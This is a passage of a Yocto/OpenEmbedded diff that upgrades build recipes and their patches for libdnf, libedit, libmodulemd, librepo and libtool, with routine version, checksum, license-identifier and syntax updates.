+From: Joe Slater <joe.slater@windriver.com>
+Date: Wed, 22 Jul 2020 13:31:11 -0700
+Subject: [PATCH] libdnf: allow reproducible binary builds
Use a dummy directory for test data if not built WITH_TESTS. Allow for overriding
TESTDATADIR, since the default is guaranteed to be wrong for target builds.
@@ -6,12 +9,16 @@ TESTDATADIR, since the default is guaranteed to be wrong for target builds.
Upstream-Status: Pending
Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ CMakeLists.txt | 7 ++++++-
+ 1 file changed, 6 insertions(+), 1 deletion(-)
-
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 548a9137..c378e7d9 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -133,7 +133,12 @@ add_definitions(-DG_LOG_DOMAIN=\\"libdnf
- add_definitions(-D_FILE_OFFSET_BITS=64)
+@@ -132,7 +132,12 @@ add_definitions(-DGETTEXT_DOMAIN=\\"libdnf\\")
+ add_definitions(-DG_LOG_DOMAIN=\\"libdnf\\")
# tests
-add_definitions(-DTESTDATADIR=\\"${CMAKE_SOURCE_DIR}/data/tests\\")
diff --git a/meta/recipes-devtools/libdnf/libdnf_0.48.0.bb b/meta/recipes-devtools/libdnf/libdnf_0.48.0.bb
deleted file mode 100644
index 37991e6d80..0000000000
--- a/meta/recipes-devtools/libdnf/libdnf_0.48.0.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "Library providing simplified C and Python API to libsolv"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "git://github.com/rpm-software-management/libdnf;branch=dnf-4-master \
- file://0001-FindGtkDoc.cmake-drop-the-requirement-for-GTKDOC_SCA.patch \
- file://0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch \
- file://0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch \
- file://0001-Add-WITH_TESTS-option.patch \
- file://0001-Look-fo-sphinx-only-if-documentation-is-actually-ena.patch \
- file://enable_test_data_dir_set.patch \
- "
-
-SRCREV = "46a28d0cf09277fffc11392e5e362a2eda0d53a8"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "glib-2.0 libsolv libcheck librepo rpm gtk-doc libmodulemd json-c swig-native"
-
-inherit gtk-doc gobject-introspection cmake pkgconfig distutils3-base
-
-EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DWITH_MAN=OFF -DPYTHON_DESIRED=3 \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DWITH_GIR=ON', '-DWITH_GIR=OFF', d)} \
- -DWITH_TESTS=OFF \
- -DWITH_ZCHUNK=OFF \
- -DWITH_HTML=OFF \
- "
-EXTRA_OECMAKE_append_class-native = " -DWITH_GIR=OFF"
-EXTRA_OECMAKE_append_class-nativesdk = " -DWITH_GIR=OFF"
-
-BBCLASSEXTEND = "native nativesdk"
-PNBLACKLIST[libdnf] ?= "${@bb.utils.contains('PACKAGE_CLASSES', 'package_rpm', '', 'Does not build without package_rpm in PACKAGE_CLASSES due disabled rpm support in libsolv', d)}"
-
diff --git a/meta/recipes-devtools/libdnf/libdnf_0.73.1.bb b/meta/recipes-devtools/libdnf/libdnf_0.73.1.bb
new file mode 100644
index 0000000000..3ab840b1b0
--- /dev/null
+++ b/meta/recipes-devtools/libdnf/libdnf_0.73.1.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Library providing simplified C and Python API to libsolv"
+HOMEPAGE = "https://github.com/rpm-software-management/libdnf"
+DESCRIPTION = "This library provides a high level package-manager. It's core library of dnf, PackageKit and rpm-ostree. It's replacement for deprecated hawkey library which it contains inside and uses librepo under the hood."
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://github.com/rpm-software-management/libdnf;branch=dnf-4-master;protocol=https \
+ file://0001-FindGtkDoc.cmake-drop-the-requirement-for-GTKDOC_SCA.patch \
+ file://0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch \
+ file://0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch \
+ file://enable_test_data_dir_set.patch \
+ file://0001-drop-FindPythonInstDir.cmake.patch \
+ file://armarch.patch \
+ "
+
+SRCREV = "0120e70747dcf05e716792e2e846c62eccd44319"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(?!4\.90)\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "glib-2.0 libsolv libcheck librepo rpm gtk-doc libmodulemd json-c swig-native util-linux"
+
+inherit gtk-doc gobject-introspection cmake pkgconfig setuptools3-base
+
+EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DWITH_MAN=OFF -DPYTHON_DESIRED=3 \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DWITH_GIR=ON', '-DWITH_GIR=OFF', d)} \
+ -DWITH_TESTS=OFF \
+ -DWITH_ZCHUNK=OFF \
+ -DWITH_HTML=OFF \
+ "
+EXTRA_OECMAKE:append:class-native = " -DWITH_GIR=OFF"
+EXTRA_OECMAKE:append:class-nativesdk = " -DWITH_GIR=OFF"
+
+BBCLASSEXTEND = "native nativesdk"
+SKIP_RECIPE[libdnf] ?= "${@bb.utils.contains('PACKAGE_CLASSES', 'package_rpm', '', 'Does not build without package_rpm in PACKAGE_CLASSES due disabled rpm support in libsolv', d)}"
+
diff --git a/meta/recipes-devtools/libedit/libedit_20191231-3.1.bb b/meta/recipes-devtools/libedit/libedit_20191231-3.1.bb
deleted file mode 100644
index 8d2d57a930..0000000000
--- a/meta/recipes-devtools/libedit/libedit_20191231-3.1.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "BSD replacement for libreadline"
-DESCRIPTION = "Command line editor library providing generic line editing, \
-history, and tokenization functions"
-HOMEPAGE = "http://www.thrysoee.dk/editline/"
-SECTION = "libs"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1e4228d0c5a9093b01aeaaeae6641533"
-
-DEPENDS = "ncurses"
-
-inherit autotools
-
-SRC_URI = "http://www.thrysoee.dk/editline/${BP}.tar.gz \
- file://stdc-predef.patch \
- "
-SRC_URI[md5sum] = "2e22a51131de94ff2df24901f7cfe416"
-SRC_URI[sha256sum] = "dbb82cb7e116a5f8025d35ef5b4f7d4a3cdd0a3909a146a39112095a2d229071"
-
-BBCLASSEXTEND = "native nativesdk"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "90"
-ALTERNATIVE_${PN}-doc = "history.3"
-ALTERNATIVE_LINK_NAME[history.3] = "${mandir}/man3/history.3"
diff --git a/meta/recipes-devtools/libedit/libedit_20230828-3.1.bb b/meta/recipes-devtools/libedit/libedit_20230828-3.1.bb
new file mode 100644
index 0000000000..1684b57d31
--- /dev/null
+++ b/meta/recipes-devtools/libedit/libedit_20230828-3.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "BSD replacement for libreadline"
+DESCRIPTION = "Command line editor library providing generic line editing, \
+history, and tokenization functions"
+HOMEPAGE = "http://www.thrysoee.dk/editline/"
+SECTION = "libs"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1e4228d0c5a9093b01aeaaeae6641533"
+
+DEPENDS = "ncurses"
+
+inherit autotools
+
+SRC_URI = "http://www.thrysoee.dk/editline/${BP}.tar.gz \
+ file://stdc-predef.patch \
+ "
+SRC_URI[sha256sum] = "4ee8182b6e569290e7d1f44f0f78dac8716b35f656b76528f699c69c98814dad"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "90"
+ALTERNATIVE:${PN}-doc = "history.3"
+ALTERNATIVE_LINK_NAME[history.3] = "${mandir}/man3/history.3"
diff --git a/meta/recipes-devtools/libmodulemd/libmodulemd/0001-modulemd-generate-the-manpage-only-if-the-feature-is.patch b/meta/recipes-devtools/libmodulemd/libmodulemd/0001-modulemd-generate-the-manpage-only-if-the-feature-is.patch
deleted file mode 100644
index d5c87a1154..0000000000
--- a/meta/recipes-devtools/libmodulemd/libmodulemd/0001-modulemd-generate-the-manpage-only-if-the-feature-is.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From a04fd2c8ac9e0f7a6fc17f02b2a95227b3d0aae4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 31 Mar 2020 16:06:39 +0200
-Subject: [PATCH] modulemd: generate the manpage only if the feature is enabled
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- modulemd/meson.build | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/modulemd/meson.build b/modulemd/meson.build
-index 9ef1902..9f71e72 100644
---- a/modulemd/meson.build
-+++ b/modulemd/meson.build
-@@ -494,6 +494,7 @@ if with_docs
- )
- endif
-
-+if with_manpages == 'enabled'
- help2man_opts = [
- '--no-info',
- '--section=1',
-@@ -506,3 +507,4 @@ custom_target(
- ],
- install: true,
- install_dir: join_paths(get_option('mandir'), 'man1'))
-+endif
diff --git a/meta/recipes-devtools/libmodulemd/libmodulemd_git.bb b/meta/recipes-devtools/libmodulemd/libmodulemd_git.bb
index 10204acf23..d3bef83306 100644
--- a/meta/recipes-devtools/libmodulemd/libmodulemd_git.bb
+++ b/meta/recipes-devtools/libmodulemd/libmodulemd_git.bb
@@ -1,26 +1,24 @@
SUMMARY = "C Library for manipulating module metadata files"
+HOMEPAGE = "https://github.com/fedora-modularity/libmodulemd"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=25a3927bff3ee4f5b21bcb0ed3fcd6bb"
-SRC_URI = "git://github.com/fedora-modularity/libmodulemd;protocol=https;branch=main \
- file://0001-modulemd-generate-the-manpage-only-if-the-feature-is.patch \
- "
+SRC_URI = "git://github.com/fedora-modularity/libmodulemd;protocol=https;branch=main"
-PV = "2.9.4"
-SRCREV = "c7254db07b21495fc9bd247c5b17ee20149c05e3"
+PV = "2.15.0"
+SRCREV = "bfde7f2d04fbb22e26c9eb843e4ccc478762dd8d"
S = "${WORKDIR}/git"
-inherit meson gobject-introspection python3-dir
+inherit meson gobject-introspection pkgconfig
-EXTRA_OEMESON = "-Ddeveloper_build=false -Dwith_docs=false -Drpmio=disabled -Dlibmagic=disabled -Dwith_manpages=disabled -Dgobject_overrides_dir_py3=${PYTHON_SITEPACKAGES_DIR}/gi/overrides"
+EXTRA_OEMESON = "-Dwith_py3=false -Dwith_docs=false -Drpmio=disabled -Dlibmagic=disabled -Dwith_manpages=disabled -Dgobject_overrides_dir_py3=${PYTHON_SITEPACKAGES_DIR}/gi/overrides"
-DEPENDS += "glib-2.0 libyaml glib-2.0-native python3"
+DEPENDS += "glib-2.0 libyaml glib-2.0-native"
BBCLASSEXTEND = "native nativesdk"
GIR_MESON_OPTION = 'skip_introspection'
GIR_MESON_ENABLE_FLAG = 'false'
GIR_MESON_DISABLE_FLAG = 'true'
-
-FILES_${PN} += "${libdir}/${PYTHON_DIR}/*"
diff --git a/meta/recipes-devtools/librepo/librepo/0001-gpg_gpgme.c-fix-build-errors-with-older-gcc.patch b/meta/recipes-devtools/librepo/librepo/0001-gpg_gpgme.c-fix-build-errors-with-older-gcc.patch
new file mode 100644
index 0000000000..8727b181b3
--- /dev/null
+++ b/meta/recipes-devtools/librepo/librepo/0001-gpg_gpgme.c-fix-build-errors-with-older-gcc.patch
@@ -0,0 +1,36 @@
+From b525cdec3051d1c6ff0c3cd38bf3070b18d6fb50 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Wed, 6 Mar 2024 10:13:38 +0100
+Subject: [PATCH] gpg_gpgme.c: fix build errors with older gcc
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+When selinux is not enabled, older gcc versions error out this way:
+
+| /home/pokybuild/yocto-worker/oe-selftest-armhost/build/build-st-1938845/tmp-mc-tiny/hosttools/gcc -DG_LOG_DOMAIN=\"librepo\" -D_FILE_OFFSET_BITS=64 -D_LARGEFILE64_SOURCE -D_LARGEFILE_SOURCE -Dlibrepo_EXPORTS -I/home/pokybuild/yocto-worker/oe-selftest-armhost/build/build-st-1938845/tmp-mc-tiny/work/aarch64-linux/librepo-native/1.17.0/git -I/home/pokybuild/yocto-worker/oe-selftest-armhost/build/build-st-1938845/tmp-mc-tiny/work/aarch64-linux/librepo-native/1.17.0/recipe-sysroot-native/usr/lib/pkgconfig/../../../usr/include/libmount -I/home/pokybuild/yocto-worker/oe-selftest-armhost/build/build-st-1938845/tmp-mc-tiny/work/aarch64-linux/librepo-native/1.17.0/recipe-sysroot-native/usr/lib/pkgconfig/../../../usr/include/blkid -I/home/pokybuild/yocto-worker/oe-selftest-armhost/build/build-st-1938845/tmp-mc-tiny/work/aarch64-linux/librepo-native/1.17.0/recipe-sysroot-native/usr/lib/pkgconfig/../../../usr/include/glib-2.0 -I/home/pokybuild/yocto-worker/oe-selftest-armhost/build/build-st-1938845/tmp-mc-tiny/work/aarch64-linux/librepo-native/1.17.0/recipe-sysroot-native/usr/lib/pkgconfig/../../../usr/lib/glib-2.0/include -I/home/pokybuild/yocto-worker/oe-selftest-armhost/build/build-st-1938845/tmp-mc-tiny/work/aarch64-linux/librepo-native/1.17.0/recipe-sysroot-native/usr/lib/pkgconfig/../../../usr/include/libxml2 -isystem/home/pokybuild/yocto-worker/oe-selftest-armhost/build/build-st-1938845/tmp-mc-tiny/work/aarch64-linux/librepo-native/1.17.0/recipe-sysroot-native/usr/include -O2 -pipe -std=c99 -Wall -fPIC -MD -MT librepo/CMakeFiles/librepo.dir/gpg_gpgme.c.o -MF librepo/CMakeFiles/librepo.dir/gpg_gpgme.c.o.d -o librepo/CMakeFiles/librepo.dir/gpg_gpgme.c.o -c /home/pokybuild/yocto-worker/oe-selftest-armhost/build/build-st-1938845/tmp-mc-tiny/work/aarch64-linux/librepo-native/1.17.0/git/librepo/gpg_gpgme.c
+| /home/pokybuild/yocto-worker/oe-selftest-armhost/build/build-st-1938845/tmp-mc-tiny/work/aarch64-linux/librepo-native/1.17.0/git/librepo/gpg_gpgme.c: In function ‘lr_gpg_ensure_socket_dir_exists’:
+| /home/pokybuild/yocto-worker/oe-selftest-armhost/build/build-st-1938845/tmp-mc-tiny/work/aarch64-linux/librepo-native/1.17.0/git/librepo/gpg_gpgme.c:135:1: error: label at end of compound statement
+| 135 | exit:
+| | ^~~~
+
+Ensuring the exit: block is not empty fixes the issue.
+
+Upstream-Status: Submitted [https://github.com/rpm-software-management/librepo/pull/300]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ librepo/gpg_gpgme.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/librepo/gpg_gpgme.c b/librepo/gpg_gpgme.c
+index c4addb2..47c3153 100644
+--- a/librepo/gpg_gpgme.c
++++ b/librepo/gpg_gpgme.c
+@@ -144,6 +144,7 @@ exit:
+ }
+ freecon(old_default_context);
+ #endif
++ return;
+ }
+
+ static gpgme_ctx_t
diff --git a/meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch b/meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch
index b61f0c9324..4a851ad1e2 100644
--- a/meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch
+++ b/meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch
@@ -1,51 +1,33 @@
-From b08a3b71e716dd0485ef51036d32e4c304fb4e67 Mon Sep 17 00:00:00 2001
+From 76052aa40c61580869472fd3f009a4ab1620b998 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:05:36 +0200
Subject: [PATCH] Do not try to obtain PYTHON_INSTALL_DIR by running python.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
+Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
---
- librepo/python/python2/CMakeLists.txt | 12 ++++++------
- librepo/python/python3/CMakeLists.txt | 12 ++++++------
- 2 files changed, 12 insertions(+), 12 deletions(-)
+ librepo/python/CMakeLists.txt | 12 ++++++------
+ 1 file changed, 6 insertions(+), 6 deletions(-)
-diff --git a/librepo/python/python2/CMakeLists.txt b/librepo/python/python2/CMakeLists.txt
-index a0f1f9a..1665079 100644
---- a/librepo/python/python2/CMakeLists.txt
-+++ b/librepo/python/python2/CMakeLists.txt
-@@ -1,9 +1,9 @@
--EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
--from sys import stdout
--from distutils import sysconfig
--path=sysconfig.get_python_lib(True, prefix='${CMAKE_INSTALL_PREFIX}')
--stdout.write(path)"
--OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
-+#from sys import stdout
-+#from distutils import sysconfig
-+#path=sysconfig.get_python_lib(True, prefix='${CMAKE_INSTALL_PREFIX}')
-+#stdout.write(path)"
-+#OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
- INCLUDE_DIRECTORIES (${PYTHON_INCLUDE_PATH})
+diff --git a/librepo/python/CMakeLists.txt b/librepo/python/CMakeLists.txt
+index 8523ca7..06e5f7b 100644
+--- a/librepo/python/CMakeLists.txt
++++ b/librepo/python/CMakeLists.txt
+@@ -16,12 +16,12 @@ SET (librepomodule_SRCS
+
+ MESSAGE("Building python bindings")
- MESSAGE(STATUS "Python install dir is ${PYTHON_INSTALL_DIR}")
-diff --git a/librepo/python/python3/CMakeLists.txt b/librepo/python/python3/CMakeLists.txt
-index 52ba44e..da51e10 100644
---- a/librepo/python/python3/CMakeLists.txt
-+++ b/librepo/python/python3/CMakeLists.txt
-@@ -1,9 +1,9 @@
-EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
-from sys import stdout
--from distutils import sysconfig
--path=sysconfig.get_python_lib(True, prefix='${CMAKE_INSTALL_PREFIX}')
+-from sysconfig import get_path
+-path=get_path(name='platlib', vars={'platbase':'${CMAKE_INSTALL_PREFIX}'})
-stdout.write(path)"
-OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
+#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
+#from sys import stdout
-+#from distutils import sysconfig
-+#path=sysconfig.get_python_lib(True, prefix='${CMAKE_INSTALL_PREFIX}')
++#from sysconfig import get_path
++#path=get_path(name='platlib', vars={'platbase':'${CMAKE_INSTALL_PREFIX}'})
+#stdout.write(path)"
+#OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
INCLUDE_DIRECTORIES (${PYTHON_INCLUDE_PATH})
diff --git a/meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch b/meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch
index 73902e5f58..fd1df95473 100644
--- a/meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch
+++ b/meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch
@@ -1,4 +1,4 @@
-From f5a1dfe4c87c228165bc25e7fe464120d8139a3d Mon Sep 17 00:00:00 2001
+From b5918f06d790dc346d41de4b3a3ec01f290c1d25 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:23:27 +0200
Subject: [PATCH] Set gpgme variables with pkg-config, not with cmake module
@@ -6,22 +6,21 @@ Subject: [PATCH] Set gpgme variables with pkg-config, not with cmake module
Upstream-Status: Inappropriate [gpgme upstream does not have pkg-config support and is not interested in it]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
CMakeLists.txt | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index e949dbe..c954b2e 100644
+index 6c00024..a2f57af 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -31,7 +31,8 @@ PKG_CHECK_MODULES(GLIB2 glib-2.0 REQUIRED)
- PKG_SEARCH_MODULE(LIBCRYPTO REQUIRED libcrypto openssl)
- PKG_CHECK_MODULES(LIBXML2 libxml-2.0 REQUIRED)
- FIND_PACKAGE(CURL REQUIRED)
--FIND_PACKAGE(Gpgme REQUIRED)
-+PKG_CHECK_MODULES(GPGME gpgme REQUIRED)
-+set(GPGME_VANILLA_LIBRARIES ${GPGME_LIBRARIES})
-
+@@ -37,7 +37,8 @@ PKG_CHECK_MODULES(LIBXML2 libxml-2.0 REQUIRED)
+ FIND_PACKAGE(CURL 7.52.0 REQUIRED)
- IF (WITH_ZCHUNK)
+ IF (USE_GPGME)
+- FIND_PACKAGE(Gpgme REQUIRED)
++ PKG_CHECK_MODULES(GPGME gpgme REQUIRED)
++ set(GPGME_VANILLA_LIBRARIES ${GPGME_LIBRARIES})
+ IF (ENABLE_SELINUX)
+ PKG_CHECK_MODULES(SELINUX REQUIRED libselinux)
+ ENDIF(ENABLE_SELINUX)
diff --git a/meta/recipes-devtools/librepo/librepo_1.12.0.bb b/meta/recipes-devtools/librepo/librepo_1.12.0.bb
deleted file mode 100644
index 2d9cac830e..0000000000
--- a/meta/recipes-devtools/librepo/librepo_1.12.0.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "A library providing C and Python (libcURL like) API \
- for downloading linux repository metadata and packages."
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "git://github.com/rpm-software-management/librepo.git \
- file://0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch \
- file://0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch \
- "
-
-SRCREV = "9c173f1110bb30f4ae842a8e3532b275966c2d83"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "curl glib-2.0 openssl attr gpgme libxml2"
-
-inherit cmake distutils3-base pkgconfig
-
-EXTRA_OECMAKE = " \
- -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} \
- -DPYTHON_DESIRED=3 \
- -DENABLE_TESTS=OFF \
- -DENABLE_DOCS=OFF \
- -DWITH_ZCHUNK=OFF \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/librepo/librepo_1.17.0.bb b/meta/recipes-devtools/librepo/librepo_1.17.0.bb
new file mode 100644
index 0000000000..810191459d
--- /dev/null
+++ b/meta/recipes-devtools/librepo/librepo_1.17.0.bb
@@ -0,0 +1,31 @@
+SUMMARY = "A library providing C and Python (libcURL like) API \
+ for downloading linux repository metadata and packages."
+HOMEPAGE = "https://github.com/rpm-software-management/librepo"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://github.com/rpm-software-management/librepo.git;branch=master;protocol=https \
+ file://0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch \
+ file://0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch \
+ file://0001-gpg_gpgme.c-fix-build-errors-with-older-gcc.patch \
+ "
+
+SRCREV = "ae727d99086f70f39fba5695af5460e1da908c1b"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "curl glib-2.0 openssl attr gpgme libxml2"
+
+inherit cmake setuptools3-base pkgconfig
+
+EXTRA_OECMAKE = " \
+ -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} \
+ -DPYTHON_DESIRED=3 \
+ -DENABLE_TESTS=OFF \
+ -DENABLE_DOCS=OFF \
+ -DWITH_ZCHUNK=OFF \
+ -DENABLE_SELINUX=OFF \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/libtool/libtool-2.4.6.inc b/meta/recipes-devtools/libtool/libtool-2.4.6.inc
deleted file mode 100644
index 8e17b56d46..0000000000
--- a/meta/recipes-devtools/libtool/libtool-2.4.6.inc
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "Generic library support script"
-DESCRIPTION = "This is GNU libtool, a generic library support script. \
-Libtool hides the complexity of generating special library types \
-(such as shared libraries) behind a consistent interface."
-HOMEPAGE = "http://www.gnu.org/software/libtool/libtool.html"
-SECTION = "devel"
-LICENSE = "GPLv2 & LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://libltdl/COPYING.LIB;md5=4fbd65380cdd255951079008b364516c "
-
-SRC_URI = "${GNU_MIRROR}/libtool/libtool-${PV}.tar.gz \
- file://trailingslash.patch \
- file://rename-with-sysroot.patch \
- file://use-sysroot-in-libpath.patch \
- file://fix-final-rpath.patch \
- file://fix-rpath.patch \
- file://norm-rpath.patch \
- file://dont-depend-on-help2man.patch \
- file://fix-resolve-lt-sysroot.patch \
- file://nohardcodepaths.patch \
- file://unwind-opt-parsing.patch \
- file://0001-libtool-Fix-support-for-NIOS2-processor.patch \
- file://0001-libtool-Check-for-static-libs-for-internal-compiler-.patch \
- "
-
-SRC_URI[md5sum] = "addf44b646ddb4e3919805aa88fa7c5e"
-SRC_URI[sha256sum] = "e3bd4d5d3d025a36c21dd6af7ea818a2afcd4dfc1ea5a17b39d7854bcd0c06e3"
-
-do_compile_prepend () {
- # Sometimes this file doesn't get rebuilt, force the issue
- rm -f ${S}/build-aux/ltmain.sh
- make build-aux/ltmain.sh
- ./config.status
-}
-
-inherit autotools texinfo
-EXTRA_AUTORECONF = "--exclude=libtoolize"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_GREP=grep"
-
-DEPENDS = "libtool-native"
-
-PACKAGES =+ "libltdl"
-FILES_${PN} += "${datadir}/aclocal"
-
-FILES_${PN}-dev_remove = "${datadir}/aclocal"
-FILES_libltdl = "${libdir}/libltdl${SOLIBS}"
-
-export CONFIG_SHELL="/bin/bash"
diff --git a/meta/recipes-devtools/libtool/libtool-2.4.7.inc b/meta/recipes-devtools/libtool/libtool-2.4.7.inc
new file mode 100644
index 0000000000..16bb10d48f
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool-2.4.7.inc
@@ -0,0 +1,52 @@
+SUMMARY = "Generic library support script"
+DESCRIPTION = "This is GNU libtool, a generic library support script. \
+Libtool hides the complexity of generating special library types \
+(such as shared libraries) behind a consistent interface."
+HOMEPAGE = "http://www.gnu.org/software/libtool/libtool.html"
+SECTION = "devel"
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://libltdl/COPYING.LIB;md5=4fbd65380cdd255951079008b364516c "
+
+SRC_URI = "${GNU_MIRROR}/libtool/libtool-${PV}.tar.gz \
+ file://0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch \
+ file://0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch \
+ file://0003-ltmain.in-Add-missing-sysroot-to-library-path.patch \
+ file://0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch \
+ file://0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch \
+ file://dont-depend-on-help2man.patch \
+ file://0003-libtool.m4-Cleanup-sysroot-trailing.patch \
+ file://0006-libtool.m4-Handle-as-a-sysroot-correctly.patch \
+ file://nohardcodepaths.patch \
+ file://0007-libtool-Fix-support-for-NIOS2-processor.patch \
+ file://0008-libtool-Check-for-static-libs-for-internal-compiler-.patch \
+ file://0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch \
+ file://0010-Makefile.am-make-sure-autoheader-run-before-automake.patch \
+ file://0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch \
+ file://0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch \
+ file://0001-ltmain.in-Parse-additional-clang-options.patch \
+ "
+
+SRC_URI[sha256sum] = "04e96c2404ea70c590c546eba4202a4e12722c640016c12b9b2f1ce3d481e9a8"
+
+do_compile:prepend () {
+ # Sometimes this file doesn't get rebuilt, force the issue
+ rm -f ${S}/build-aux/ltmain.sh
+ make build-aux/ltmain.sh
+ ./config.status
+}
+
+inherit autotools texinfo
+EXTRA_AUTORECONF = "--exclude=libtoolize"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_GREP=grep"
+
+DEPENDS = "libtool-native"
+
+PACKAGES =+ "libltdl"
+FILES:${PN} += "${datadir}/aclocal"
+
+FILES:${PN}-dev:remove = "${datadir}/aclocal"
+FILES:libltdl = "${libdir}/libltdl${SOLIBS}"
+
+export CONFIG_SHELL="/bin/bash"
diff --git a/meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb b/meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb
deleted file mode 100644
index 522bf3a0e9..0000000000
--- a/meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb
